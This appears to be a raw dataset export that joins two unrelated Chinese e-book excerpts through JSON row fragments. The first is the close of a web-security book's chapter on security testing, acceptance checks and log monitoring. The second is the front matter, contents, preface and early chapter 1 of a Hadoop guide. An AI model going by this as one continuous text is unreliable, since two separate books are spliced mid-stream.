健康诊断基准，在浏览器或者代理工具（Fiddler 等）里输入检测模式，通过确认服务器返回的应答来进行检查。这种检查不需要熟悉源代码或者了解内部构造，只使用了攻击者\n图 8-4 利用 Web 健康诊断基准进行安全检查\n8.3.8 承包方测试\n尽管现在在开发过程中就进行安全性测试的团队还比较少，但笔者还是强烈建议在开发中就穿插进行安全性测试。\n开发人员进行安全性测试主要有以下方法。\n代码检查\n使用工具进行黑盒测试\n手动进行黑盒测试\n这里我们将只对代码检查和手动进行黑盒测试进行说明。\n代码检查可以通过目测或者使用查找工具（grep 等）进行 5\n 。因为从头到尾将代码通读一遍非常费时费力，所以我们可以以开发标准为基础确认开发是否遵守了该标准。代码检查比较适合发现以下几种潜在威胁。\n5\n 也存在商用的代码自动检查攻击，本书里将不对此做出说明。\nSQL 注入漏洞\n目录遍历漏洞\nOS 命令注入漏洞\n上面这些服务器内部发生的漏洞，从外边是很难判断的，如果从代码级别来调查的话反而比较简单快捷。\n手动黑盒测试的话，可以使用前面讲过的 Web 健康诊断的方法。系统安全隐患的很大一部分都可以以页面为单位进行测试，所以只要一个页面已经完成，就可以进行安全性测试了。提前开始实施安全性测试，会减少返工，有助于降低项目成本。\n所以，综合上述几点，最好在系统架构设计的时候就制定安全测试的计划。\n8.3.9 发包方测试（验收）\n笔者见过很多在招标时明确将系统漏洞对策作为系统安全性功能需求的发包方，但是在验收时进行系统漏洞检测的发包方并不多见。实际上，在招标时已经明确定义的安全性功能需求，在验收时也需要认真验收。发包方如果提前告知承包商将进行安全性测试的话，会给承包商一些压力，也会让其加强体制，有一定的有利影响。\n关于验收时的漏洞检测，可以使用以下方法。\n审查承包商的安全测试报告（检查文档）\n委托第三方（专家）进行测试\n自行测试\n第一种方法，由于发包方很难客观地检查承包商提供的文档，所以不推荐使用。第二种方法通过雇佣第三方来实施检测，这种方法虽然在检查精度和客观性上都很有保障，但是相应的成本也会增加。如果预算不多的话，则可以考虑利用 Web 健康诊断基准来自己进行安全测试的工作。\n8.3.10 运维阶段的注意事项\n发包方在验收了承包商的交付物之后，就进入运营、维护阶段了。在此阶段下面两项尤为重要。\n对日志文件的监视\n漏洞对策\n另外，还需要一年进行一到两次 Web 网站健康诊断。之所以这么做是出于以下两个目的。\n对上次诊断之后新增加的页面或者功能进行诊断\n检查新出现的攻击方法的对策\n日志监视的重要性已经在 5.4 节介绍过了。也可以通过 iLogScanner6\n 等日志分析工具来发现潜在的攻击行为。\n6\n iLogScanner 是独立行政法人信息处理推进机构免费发布的日志分析攻击，它会从日志里寻找 SQL 注入攻击等攻击的痕迹。http://www.ipa.go.jp/security/vuln/iLogScanner/index.html\n根据平台和应用的不同漏洞的对应方法也不一样。平台的漏洞可以参考 7.1 节介绍过的内容，随时关注各种安全漏洞，适时地实施安全对策（打补丁等）。\n而就应用程序本身来说，发现系统漏洞的途径主要有以下几种。\n定期 Web 健康诊断时发现的漏洞\n从日志分析判断\n外部报告的漏洞\n不管是哪种情况，尽早发现并修补漏洞都是最重要的。为了方便地获取外部报告的漏洞，最好设置一个问题报告中心 7\n 。\n7\n 漏洞报告中心的例子可以参考微软的安全技术中心。http://technet.microsoft.com/zh-cn/security/ff852094\n8.4 总结\n本章对在开发安全的 Web 应用程序中需要进行的管理进行了说明。制定开发标准，并且对开发成员进行安全培训，从这两方面着手建立良好的开发体制，对开发出安全的应用程序来说至关重要。\n另外，在对 Web 应用程序进行招标时，也需要在 RFP 里写入关于安全性功能和安全性 Bug 的相关需求，并且在验收的时候，进行安全性测试。\n参考文献\n[1] 经济产业省商务信息政策局信息处理振兴科 .（2007 年 4 月 13 日）.情報システム·モデル取引·契約書（信息系统、交易模型与合同）。参考日期：2010 年 12 月 15 日，参考网址：経済産業省：http://www.meti.go.jp/policy/it_policy/keiyaku/model_keiyakusyo.pdf\n看完了\n如果您对本书内容有疑问，可发邮件至contact@turingbook.com，会有编辑或作译者协助答疑。也可访问图灵社区，参与本书讨论。\n如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@turingbook.com。\n在这里可以找到我们：\n微博 @图灵教育 : 好书、活动每日播报\n微博 @图灵社区 : 电子书和好文章的消息\n微博 @图灵新知 : 图灵教育的科普小组\n微信 图灵访谈 : ituring_interview，讲述码农精彩人生\n微信 图灵教育 : turingbooks \n图灵社区会员 ptpress（libowen@ptpress.com.cn） 专享 尊重版权"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":20,"cells":{"text":{"kind":"string","value":"Hadoop实战（第2版）\n陆嘉恒 著\nISBN：978-7-111-39583-6\n本书纸版由机械工业出版社于2012年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。\n版权所有，侵权必究\n客服热线：+ 86-10-68995265\n客服信箱：service@bbbvip.com\n官方网址：www.hzmedia.com.cn\n新浪微博 @研发书局\n腾讯微博 @yanfabook\n目 录\n前言\n为什么写这本书\n第2版与第1版的区别\n本书面向的读者\n如何阅读本书\n在线资源及勘误\n致谢\n第1章 Hadoop简介\n1.1 什么是Hadoop\n1.1.1 Hadoop概述\n1.1.2 Hadoop的历史\n1.1.3 Hadoop的功能与作用\n1.1.4 Hadoop的优势\n1.1.5 Hadoop应用现状和发展趋势\n1.2 Hadoop项目及其结构\n1.3 Hadoop体系结构\n1.4 Hadoop与分布式开发\n1.5 Hadoop计算模型—MapReduce\n1.6 Hadoop数据管理\n1.6.1 HDFS的数据管理\n1.6.2 HBase的数据管理\n1.6.3 Hive的数据管理\n1.7 Hadoop集群安全策略\n1.8 本章小结\n第2章 Hadoop的安装与配置\n2.1 在Linux上安装与配置Hadoop\n2.1.1 安装JDK 1.6\n2.1.2 配置SSH免密码登录\n2.1.3 安装并运行Hadoop\n2.2 在Mac OSX上安装与配置Hadoop\n2.2.1 安装Homebrew\n2.2.2 使用Homebrew安装Hadoop\n2.2.3 配置SSH和使用Hadoop\n2.3 在Windows上安装与配置Hadoop\n2.3.1 安装JDK 1.6或更高版本\n2.3.2 安装Cygwin\n2.3.3 配置环境变量\n2.3.4 安装sshd服务\n2.3.5 启动sshd服务\n2.3.6 配置SSH免密码登录\n2.3.7 安装并运行Hadoop\n2.4 安装和配置Hadoop集群\n2.4.1 网络拓扑\n2.4.2 定义集群拓扑\n2.4.3 建立和安装Cluster\n2.5 日志分析及几个小技巧\n2.6 本章小结\n第3章 MapReduce计算模型\n3.1 为什么要用MapReduce\n3.2 MapReduce计算模型\n3.2.1 MapReduce Job\n3.2.2 Hadoop中的Hello World程序\n3.2.3 MapReduce的数据流和控制流\n3.3 MapReduce任务的优化\n3.4 Hadoop流\n3.4.1 Hadoop流的工作原理\n3.4.2 Hadoop流的命令\n3.4.3 两个例子\n3.5 Hadoop Pipes\n3.6 本章小结\n第4章 开发MapReduce应用程序\n4.1 系统参数的配置\n4.2 配置开发环境\n4.3 编写MapReduce程序\n4.3.1 Map处理\n4.3.2 Reduce处理\n4.4 本地测试\n4.5 运行MapReduce程序\n4.5.1 打包\n4.5.2 在本地模式下运行\n4.5.3 在集群上运行\n4.6 网络用户界面\n4.6.1 JobTracker页面\n4.6.2 工作页面\n4.6.3 返回结果\n4.6.4 任务页面\n4.6.5 任务细节页面\n4.7 性能调优\n4.7.1 输入采用大文件\n4.7.2 压缩文件\n4.7.3 过滤数据\n4.7.4 修改作业属性\n4.8 MapReduce工作流\n4.8.1 复杂的Map和Reduce函数\n4.8.2 MapReduce Job中全局共享数据\n4.8.3 链接MapReduce Job\n4.9 本章小结\n第5章 MapReduce应用案例\n5.1 单词计数\n5.1.1 实例描述\n5.1.2 设计思路\n5.1.3 程序代码\n5.1.4 代码解读\n5.1.5 程序执行\n5.1.6 代码结果\n5.1.7 代码数据流\n5.2 数据去重\n5.2.1 实例描述\n5.2.2 设计思路\n5.2.3 程序代码\n5.3 排序\n5.3.1 实例描述\n5.3.2 设计思路\n5.3.3 程序代码\n5.4 单表关联\n5.4.1 实例描述\n5.4.2 设计思路\n5.4.3 程序代码\n5.5 多表关联\n5.5.1 实例描述\n5.5.2 设计思路\n5.5.3 程序代码\n5.6 本章小结\n第6章 MapReduce工作机制\n6.1 MapReduce作业的执行流程\n6.1.1 MapReduce任务执行总流程\n6.1.2 提交作业\n6.1.3 初始化作业\n6.1.4 分配任务\n6.1.5 执行任务\n6.1.6 更新任务执行进度和状态\n6.1.7 完成作业\n6.2 错误处理机制\n6.2.1 硬件故障\n6.2.2 任务失败\n6.3 作业调度机制\n6.4 Shuffle和排序\n6.4.1 Map端\n6.4.2 Reduce端\n6.4.3 shuffle过程的优化\n6.5 任务执行\n6.5.1 推测式执行\n6.5.2 任务JVM重用\n6.5.3 跳过坏记录\n6.5.4 任务执行环境\n6.6 本章小结\n第7章 Hadoop I/O操作\n7.1 I/O操作中的数据检查\n7.2 数据的压缩\n7.2.1 Hadoop对压缩工具的选择\n7.2.2 压缩分割和输入分割\n7.2.3 在MapReduce程序中使用压缩\n7.3 数据的I/O中序列化操作\n7.3.1 Writable类\n7.3.2 实现自己的Hadoop数据类型\n7.4 针对Mapreduce的文件类\n7.4.1 SequenceFile类\n7.4.2 MapFile类\n7.4.3 ArrayFile、SetFile和BloomMapFile\n7.5 本章小结\n第8章 下一代MapReduce：YARN\n8.1 MapReduce V2设计需求\n8.2 MapReduce V2主要思想和架构\n8.3 MapReduce V2设计细节\n8.4 MapReduce V2优势\n8.5 本章小结\n第9章 HDFS详解\n9.1 Hadoop的文件系统\n9.2 HDFS简介\n9.3 HDFS体系结构\n9.3.1 HDFS的相关概念\n9.3.2 HDFS的体系结构\n9.4 HDFS的基本操作\n9.4.1 HDFS的命令行操作\n9.4.2 HDFS的Web界面\n9.5 HDFS常用Java API详解\n9.5.1 使用Hadoop URL读取数据\n9.5.2 使用FileSystem API读取数据\n9.5.3 创建目录\n9.5.4 写数据\n9.5.5 删除数据\n9.5.6 文件系统查询\n9.6 HDFS中的读写数据流\n9.6.1 文件的读取\n9.6.2 文件的写入\n9.6.3 一致性模型\n9.7 HDFS命令详解\n9.7.1 通过distcp进行并行复制\n9.7.2 HDFS的平衡\n9.7.3 使用Hadoop归档文件\n9.7.4 其他命令\n9.8 WebHDFS\n9.8.1 WebHDFS的配置\n9.8.2 WebHDFS命令\n9.9 本章小结\n第10章 Hadoop的管理\n10.1 HDFS文件结构\n10.2 Hadoop的状态监视和管理工具\n10.2.1 审计日志\n10.2.2 监控日志\n10.2.3 Metrics\n10.2.4 Java管理扩展\n10.2.5 Ganglia\n10.2.6 Hadoop管理命令\n10.3 Hadoop集群的维护\n10.3.1 安全模式\n10.3.2 Hadoop的备份\n10.3.3 Hadoop的节点管理\n10.3.4 系统升级\n10.4 本章小结\n第11章 Hive详解\n11.1 Hive简介\n11.1.1 Hive的数据存储\n11.1.2 Hive的元数据存储\n11.2 Hive的基本操作\n11.2.1 在集群上安装Hive\n11.2.2 配置MySQL存储Hive元数据\n11.2.3 配置Hive\n11.3 Hive QL详解\n11.3.1 数据定义（DDL）操作\n11.3.2 数据操作（DML）\n11.3.3 SQL操作\n11.3.4 Hive QL使用实例\n11.4 Hive网络（Web UI）接口\n11.4.1 Hive网络接口配置\n11.4.2 Hive网络接口操作实例\n11.5 Hive的JDBC接口\n11.5.1 Eclipse环境配置\n11.5.2 程序实例\n11.6 Hive的优化\n11.7 本章小结\n第12章 HBase详解\n12.1 HBase简介\n12.2 HBase的基本操作\n12.2.1 HBase的安装\n12.2.2 运行HBase\n12.2.3 HBase Shell\n12.2.4 HBase配置\n12.3 HBase体系结构\n12.3.1 HRegion\n12.3.2 HRegion服务器\n12.3.3 HBase Master服务器\n12.3.4 ROOT表和META表\n12.3.5 ZooKeeper\n12.4 HBase数据模型\n12.4.1 数据模型\n12.4.2 概念视图\n12.4.3 物理视图\n12.5 HBase与RDBMS\n12.6 HBase与HDFS\n12.7 HBase客户端\n12.8 Java API\n12.9 HBase编程\n12.9.1 使用Eclipse开发HBase应用程序\n12.9.2 HBase编程\n12.9.3 HBase与MapReduce\n12.10 模式设计\n12.10.1 模式设计应遵循的原则\n12.10.2 学生表\n12.10.3 事件表\n12.11 本章小结\n第13章 Mahout详解\n13.1 Mahout简介\n13.2 Mahout的安装和配置\n13.3 Mahout API简介\n13.4 Mahout中的频繁模式挖掘\n13.4.1 什么是频繁模式挖掘\n13.4.2 Mahout中的频繁模式挖掘\n13.5 Mahout中的聚类和分类\n13.5.1 什么是聚类和分类\n13.5.2 Mahout中的数据表示\n13.5.3 将文本转化成向量\n13.5.4 Mahout中的聚类、分类算法\n13.5.5 算法应用实例\n13.6 Mahout应用：建立一个推荐引擎\n13.6.1 推荐引擎简介\n13.6.2 使用Taste构建一个简单的推荐引擎\n13.6.3 简单分布式系统下基于产品的推荐系统简介\n13.7 本章小结\n第14章 Pig详解\n14.1 Pig简介\n14.2 Pig的安装和配置\n14.2.1 Pig的安装条件\n14.2.2 Pig的下载、安装和配置\n14.2.3 Pig运行模式\n14.3 Pig Latin语言\n14.3.1 Pig Latin语言简介\n14.3.2 Pig Latin的使用\n14.3.3 Pig Latin的数据类型\n14.3.4 Pig Latin关键字\n14.4 用户定义函数\n14.4.1 编写用户定义函数\n14.4.2 使用用户定义函数\n14.5 Zebra简介\n14.5.1 Zebra的安装\n14.5.2 Zebra的使用简介\n14.6 Pig实例\n14.6.1 Local模式\n14.6.2 MapReduce模式\n14.7 Pig进阶\n14.7.1 数据实例\n14.7.2 Pig数据分析\n14.8 本章小结\n第15章 ZooKeeper详解\n15.1 ZooKeeper简介\n15.1.1 ZooKeeper的设计目标\n15.1.2 数据模型和层次命名空间\n15.1.3 ZooKeeper中的节点和临时节点\n15.1.4 ZooKeeper的应用\n15.2 ZooKeeper的安装和配置\n15.2.1 安装ZooKeeper\n15.2.2 配置ZooKeeper\n15.2.3 运行ZooKeeper\n15.3 ZooKeeper的简单操作\n15.3.1 使用ZooKeeper命令的简单操作步骤\n15.3.2 ZooKeeper API的简单使用\n15.4 ZooKeeper的特性\n15.4.1 ZooKeeper的数据模型\n15.4.2 ZooKeeper会话及状态\n15.4.3 ZooKeeper watches\n15.4.4 ZooKeeper ACL\n15.4.5 ZooKeeper的一致性保证\n15.5 使用ZooKeeper进行Leader选举\n15.6 ZooKeeper锁服务\n15.6.1 ZooKeeper中的锁机制\n15.6.2 ZooKeeper提供的一个写锁的实现\n15.7 使用ZooKeeper创建应用程序\n15.7.1 使用Eclipse开发ZooKeeper应用程序\n15.7.2 应用程序实例\n15.8 BooKeeper\n15.9 本章小结\n第16章 Avro详解\n16.1 Avro介绍\n16.1.2 数据序列化\n16.1.3 数据排列顺序\n16.1.4 对象容器文件\n16.1.5 协议声明\n16.1.6 协议传输格式\n16.1.7 模式解析\n16.2 Avro的C/C++实现\n16.3 Avro的Java实现\n16.4 GenAvro（Avro IDL）语言\n16.5 Avro SASL概述\n16.6 本章小结\n第17章 Chukwa详解\n17.1 Chukwa简介\n17.2 Chukwa架构\n17.2.1 客户端及其数据模型\n17.2.2 收集器\n17.2.3 归档器和分离解析器\n17.2.4 HICC\n17.3 Chukwa的可靠性\n17.4 Chukwa集群搭建\n17.4.1 基本配置要求\n17.4.2 Chukwa的安装\n17.4.3 Chukwa的运行\n17.5 Chukwa数据流的处理\n17.6 Chukwa与其他监控系统比较\n17.7 本章小结\n本章参考资料\n第18章 Hadoop的常用插件与开发\n18.1 Hadoop Studio的介绍和使用\n18.1.1 Hadoop Studio的介绍\n18.1.2 Hadoop Studio的安装配置\n18.1.3 Hadoop Studio的使用举例\n18.2 Hadoop Eclipse的介绍和使用\n18.2.1 Hadoop Eclipse的介绍\n18.2.2 Hadoop Eclipse的安装配置\n18.2.3 Hadoop Eclipse的使用举例\n18.3 Hadoop Streaming的介绍和使用\n18.3.1 Hadoop Streaming的介绍\n18.3.2 Hadoop Streaming的使用举例\n18.3.3 使用Hadoop Streaming常见的问题\n18.4 Hadoop Libhdfs的介绍和使用\n18.4.1 Hadoop Libhdfs的介绍\n18.4.2 Hadoop Libhdfs的安装配置\n18.4.3 Hadoop Libhdfs API简介\n18.4.4 Hadoop Libhdfs的使用举例\n18.5 本章小结\n第19章 企业应用实例\n19.1 Hadoop在Yahoo！的应用\n19.2 Hadoop在eBay的应用\n19.3 Hadoop在百度的应用\n19.4 即刻搜索中的Hadoop\n19.4.1 即刻搜索简介\n19.4.2 即刻Hadoop应用架构\n19.4.3 即刻Hadoop应用分析\n19.5 Facebook中的Hadoop和HBase\n19.5.1 Facebook中的任务特点\n19.5.2 MySQL VS Hadoop+HBase\n19.5.3 Hadoop和HBase的实现\n19.6 本章小结\n本章参考资料\n附录A 云计算在线检测平台\nA.1 平台介绍\nA.2 结构和功能\nA.2.1 前台用户接口的结构和功能\nA.2.2 后台程序运行的结构和功能能\nA.2.3 平台程序过滤功能\nA.3 检测流程\nA.4 使用介绍\nA.4.1 功能使用\nA.4.2 返回结果介绍\nA.4.3 使用注意事项\nA.5 小结\n附录B Hadoop安装、运行与使用说明\nB.1 Hadoop安装\nB.1.1 JDK安装\nB.1.2 SSH安装\nB.1.3 Hadoop安装\nB.2 Hadoop启动\nB.3 Hadoop使用\nB.3.1 命令行管理Hadoop集群\nB.3.2 运行MapReduce框架程序\n附录C 使用DistributedCache的MapReduce程序\nC.1 程序场景\nC.2 详细代码\n附录D 使用ChainMapper和ChainReducer的MapReduce程序\nD.1 程序场景\nD.2 详细代码\n前言\n 为什么写这本书\n计算技术已经改变了我们的工作、学习和生活。分布式的云计算技术是当下IT领域最热门的话题之一，它通过整合资源，为降低成本和能源消耗提供了一种简化、集中的计算平台。这种低成本、高扩展、高性能的特点促使其迅速发展，遍地开发，悄然改变着整个行业的面貌。社会各界对云计算的广泛研究和应用无疑证明了这一点：在学术界，政府和很多高校十分重视对云计算技术的研究和投入；在产业界，各大IT公司也在研究和开发相关的云计算产品上投入了大量的资源。这些研究和应用推动与云计算相关的新兴技术和产品不断涌现，传统的信息服务产品向云计算模式转型。\nHadoop作为Apache基金会的开源项目，是云计算研究和应用最具代表性的产品。Hadoop分布式框架为开发者提供了一个分布式系统的基础架构，用户可以在不了解分布式系统底层细节的情况下开发分布式的应用，充分利用由Hadoop统一起来的集群存储资源、网络资源和计算资源，实现基于海量数据的高速运算和存储。\n在编写本书第一版时，鉴于Hadoop技术本身和应用环境较为复杂，入门和实践难度较大，而关于Hadoop的参考资料又非常少，笔者根据自己的实际研究和使用经历，理论与实践并重，从基础出发，为读者全面呈现了Hadoop的相关知识，旨在为Hadoop学习者提供一本工具书。但是时至今日，Hadoop的版本已从本书第一版介绍的0.20升级至正式版1.0，读者的需求也从入门发展到更加深入地了解Hadoop的实现细节，了解Hadoop的更新和发展的趋势，了解Hadoop在企业中的应用。虽然本书第一版受到广大Hadoop学习者的欢迎，但是为了保持对最新版Hadoop的支持，进一步满足读者的需求，继续推动Hadoop技术在国内的普及和发展，笔者不惜时间和精力，搜集资料，亲自实践，编写了本书第二版。\n第2版与第1版的区别\n基于Hadoop 1.0版本和相关项目的最新版，本书在第1版的基础上进行了更新和调整：\n每章都增加了新内容（如第1章增加了与Hadoop安全相关的知识，第2增加了在Max OS X系统上安装Hadoop的介绍，第9章增加了WebHDFS等）；\n部分章节深入剖析了Hadoop源码；\n增加了对Hadoop接口及实践方面的介绍（附录C和附录D）；\n增加了对下一代MapReduce的介绍（第8章）；\n将企业应用介绍移到本书最后并更新了内容（第19章）；\n增加了对Hadoop安装和代码执行的集中介绍（附录B）。\n本书面向的读者\n在编写本书时，笔者力图使不同背景、职业和层次的读者都能从这本书中获益。\n如果你是专业技术人员，本书将带领你深入云计算的世界，全面掌握Hadoop及其相关技术细节，帮助你使用Hadoop技术解决当前面临的问题。\n如果你是系统架构人员，本书将成为你搭建Hadoop集群、管理集群，并迅速定位和解决问题的工具书。\n如果你是高等院校计算机及相关专业的学生，本书将为你在课堂之外了解最新的IT技术打开了一扇窗户，帮助你拓宽视野，完善知识结构，为迎接未来的挑战做好知识储备。\n在学习本书之前，大家应该具有如下的基础：\n要有一定的分布式系统的基础知识，对文件系统的基本操作有一定的了解。\n要有一定的Linux操作系统的基础知识。\n有较好的编程基础和阅读代码的能力，尤其是要能够熟练使用Java语言。\n对数据库、数据仓库、系统监控，以及网络爬虫等知识最好也能有一些了解。\n如何阅读本书\n从整体内容上讲，本书包括19章和4个附录。前10章、第18章、第19章和4个附录主要介绍了Hadoop背景知识、Hadoop集群安装和代码执行、MapReduce机制及编程知识、HDFS实现细节及管理知识、Hadoop应用。第11章至第17章结合最新版本详细介绍了与Hadoop相关的其他项目，分别为Hive、HBase、Mahout、Pig、ZooKeeper、Avro、Chukwa，以备读者扩展知识面之用。\n在阅读本书时，笔者建议大家先系统地学习Hadoop部分的理论知识（第1章、第3章、第6章至第10章），这样可对Hadoop的核心内容和实现机制有一个很好的理解。在此基础上，读者可进一步学习Hadoop部分的实践知识（第2章、第4章、第5章、第18章、第19章和4个附录），尝试搭建自己的Hadoop集群，编写并运行自己的MapReduce代码。对于本书中关于Hadoop相关项目的介绍，大家可以有选择地学习。在内容的编排上，各章的知识点是相对独立的，是并行的关系，因此大家可以有选择地进行学习。当然，如果时间允许，还是建议大家系统地学习全书的内容，这样能够对Hadoop系统的机制有一个完整而系统的理解，为今后深入地研究和实践Hadoop及云计算技术打下坚实的基础。\n另外，笔者希望大家在学习本书时能一边阅读，一边根据书中的指导动手实践，亲自实践本书中所给出的编程范例。例如，先搭建一个自己的云平台，如果条件受限，可以选择伪分布的方式。\n在线资源及勘误\n在本书的附录中，提供了一个基于Hadoop的云计算在线测试平台（http：//cloud-computing.ruc.edu.cn），大家可以先注册一个免费账户，然后即可体验Hadoop平台，通过该平台大家可在线编写MapReduce应用并进行自动验证。如果大家希望获得该平台的验证码，或者希望获得完全编程测试和理论测试的权限，请发邮件到jiahenglu@gmail.com。读者也可访问Hadoop的官方网站（hadoop.apache.org）阅读官方介绍文档，下载学习示例代码。\n在本书的撰写和相关技术的研究中，尽管笔者投入了大量的精力、付出了艰辛的努力，但是受知识水平所限，书中存在不足和疏漏之处在所难免，恳请大家批评指正。如果有任何问题和建议，可发送电子邮件至jiahenglu@gmail.com或jiahenglu@ruc.edu.cn。\n致谢\n在本书的编写过程中，很多Hadoop方面的实践者和研究者做了大量的工作，他们是冯博亮、程明、徐文韬、张林林、朱俊良、许翔、陈东伟、谭果、林春彬等，在此表示感谢。\n陆嘉恒\n2012年6月于北京\n第1章 Hadoop简介\n本章内容\n什么是Hadoop\nHadoop项目及其结构\nHadoop体系结构\nHadoop与分布式开发\nHadoop计算模型—MapReduce\nHadoop数据管理\nHadoop集群安全策略\n本章小结\n1.1 什么是Hadoop\n 1.1.1 Hadoop概述\nHadoop是Apache软件基金会旗下的一个开源分布式计算平台。以Hadoop分布式文件系统（Hadoop Distributed File System, HDFS）和MapReduce（Google MapReduce的开源实现）为核心的Hadoop为用户提供了系统底层细节透明的分布式基础架构。HDFS的高容错性、高伸缩性等优点允许用户将Hadoop部署在低廉的硬件上，形成分布式系统；MapReduce分布式编程模型允许用户在不了解分布式系统底层细节的情况下开发并行应用程序。所以用户可以利用Hadoop轻松地组织计算机资源，从而搭建自己的分布式计算平台，并且可以充分利用集群的计算和存储能力，完成海量数据的处理。经过业界和学术界长达10年的锤炼，目前的Hadoop 1.0.1已经趋于完善，在实际的数据处理和分析任务中担当着不可替代的角色。\n1.1.2 Hadoop的历史\nHadoop的源头是Apache Nutch，该项目始于2002年，是Apache Lucene的子项目之一。2004年，Google在“操作系统设计与实现”（Operating System Design and Implementation, OSDI）会议上公开发表了题为MapReduce：Simplifed Data Processing on Large Clusters（《MapReduce：简化大规模集群上的数据处理》）的论文之后，受到启发的Doug Cutting等人开始尝试实现MapReduce计算框架，并将它与NDFS（Nutch Distributed File System）结合，用以支持Nutch引擎的主要算法。由于NDFS和MapReduce在Nutch引擎中有着良好的应用，所以它们于2006年2月被分离出来，成为一套完整而独立的软件，并命名为Hadoop。到了2008年年初，Hadoop已成为Apache的顶级项目，包含众多子项目。它被应用到包括Yahoo！在内的很多互联网公司。现在的Hadoop1.0.1版本已经发展成为包含HDFS、MapReduce子项目，与Pig、ZooKeeper、Hive、HBase等项目相关的大型应用工程。\n1.1.3 Hadoop的功能与作用\n我们为什么需要Hadoop呢？众所周知，现代社会的信息增长速度很快，这些信息中又积累着大量数据，其中包括个人数据和工业数据。预计到2020年，每年产生的数字信息中将会有超过1/3的内容驻留在云平台中或借助云平台处理。我们需要对这些数据进行分析处理，以获取更多有价值的信息。那么我们如何高效地存储管理这些数据、如何分析这些数据呢？这时可以选用Hadoop系统。在处理这类问题时，它采用分布式存储方式来提高读写速度和扩大存储容量；采用MapReduce整合分布式文件系统上的数据，保证高速分析处理数据；与此同时还采用存储冗余数据来保证数据的安全性。\nHadoop中的HDFS具有高容错性，并且是基于Java语言开发的，这使得Hadoop可以部署在低廉的计算机集群中，同时不限于某个操作系统。Hadoop中HDFS的数据管理能力、MapReduce处理任务时的高效率以及它的开源特性，使其在同类分布式系统中大放异彩，并在众多行业和科研领域中被广泛应用。\n1.1.4 Hadoop的优势\nHadoop是一个能够让用户轻松架构和使用的分布式计算平台。用户可以轻松地在Hadoop上开发运行处理海量数据的应用程序。它主要有以下几个优点：\n高可靠性。Hadoop按位存储和处理数据的能力值得人们信赖。\n高扩展性。Hadoop是在可用的计算机集簇间分配数据完成计算任务的，这些集簇可以方便地扩展到数以千计的节点中。\n高效性。Hadoop能够在节点之间动态地移动数据，以保证各个节点的动态平衡，因此其处理速度非常快。\n高容错性。Hadoop能够自动保存数据的多份副本，并且能够自动将失败的任务重新分配。\n1.1.5 Hadoop应用现状和发展趋势\n由于Hadoop优势突出，基于Hadoop的应用已经遍地开花，尤其是在互联网领域。Yahoo！通过集群运行Hadoop，用以支持广告系统和Web搜索的研究；Facebook借助集群运行Hadoop来支持其数据分析和机器学习；搜索引擎公司百度则使用Hadoop进行搜索日志分析和网页数据挖掘工作；淘宝的Hadoop系统用于存储并处理电子商务交易的相关数据；中国移动研究院基于Hadoop的“大云”（BigCloud）系统对数据进行分析并对外提供服务。\n2008年2月，作为Hadoop最大贡献者的Yahoo！构建了当时最大规模的Hadoop应用。他们在2000个节点上面执行了超过1万个Hadoop虚拟机器来处理超过5PB的网页内容，分析大约1兆个网络连接之间的网页索引资料。这些网页索引资料压缩后超过300TB。Yahoo！正是基于这些为用户提供了高质量的搜索服务。\nHadoop目前已经取得了非常突出的成绩。随着互联网的发展，新的业务模式还将不断涌现，Hadoop的应用也会从互联网领域向电信、电子商务、银行、生物制药等领域拓展。相信在未来，Hadoop将会在更多的领域中扮演幕后英雄，为我们提供更加快捷优质的服务。\n1.2 Hadoop项目及其结构\n现在Hadoop已经发展成为包含很多项目的集合。虽然其核心内容是MapReduce和Hadoop分布式文件系统，但与Hadoop相关的Common、Avro、Chukwa、Hive、HBase等项目也是不可或缺的。它们提供了互补性服务或在核心层上提供了更高层的服务。图1-1是Hadoop的项目结构图。\n下面将对Hadoop的各个关联项目进行更详细的介绍。\n图 1-1 Hadoop项目结构图\n1）Common：Common是为Hadoop其他子项目提供支持的常用工具，它主要包括FileSystem、RPC和串行化库。它们为在廉价硬件上搭建云计算环境提供基本的服务，并且会为运行在该平台上的软件开发提供所需的API。\n2）Avro：Avro是用于数据序列化的系统。它提供了丰富的数据结构类型、快速可压缩的二进制数据格式、存储持久性数据的文件集、远程调用RPC的功能和简单的动态语言集成功能。其中代码生成器既不需要读写文件数据，也不需要使用或实现RPC协议，它只是一个可选的对静态类型语言的实现。\nAvro系统依赖于模式（Schema），数据的读和写是在模式之下完成的。这样可以减少写入数据的开销，提高序列化的速度并缩减其大小；同时，也可以方便动态脚本语言的使用，因为数据连同其模式都是自描述的。\n在RPC中，Avro系统的客户端和服务端通过握手协议进行模式的交换，因此当客户端和服务端拥有彼此全部的模式时，不同模式下相同命名字段、丢失字段和附加字段等信息的一致性问题就得到了很好的解决。\n3）MapReduce：MapReduce是一种编程模型，用于大规模数据集（大于1TB）的并行运算。映射（Map）、化简（Reduce）的概念和它们的主要思想都是从函数式编程语言中借鉴而来的。它极大地方便了编程人员—即使在不了解分布式并行编程的情况下，也可以将自己的程序运行在分布式系统上。MapReduce在执行时先指定一个Map（映射）函数，把输入键值对映射成一组新的键值对，经过一定处理后交给Reduce, Reduce对相同key下的所有value进行处理后再输出键值对作为最终的结果。\n图1-2是MapReduce的任务处理流程图，它展示了MapReduce程序将输入划分到不同的Map上、再将Map的结果合并到Reduce、然后进行处理的输出过程。详细介绍请参考本章1.3节。\n图 1-2 MapReduce的任务处理流程图\n4）HDFS：HDFS是一个分布式文件系统。因为HDFS具有高容错性（fault-tolerent）的特点，所以它可以设计部署在低廉（low-cost）的硬件上。它可以通过提供高吞吐率（high throughput）来访问应用程序的数据，适合那些有着超大数据集的应用程序。HDFS放宽了对可移植操作系统接口（POSIX, Portable Operating System 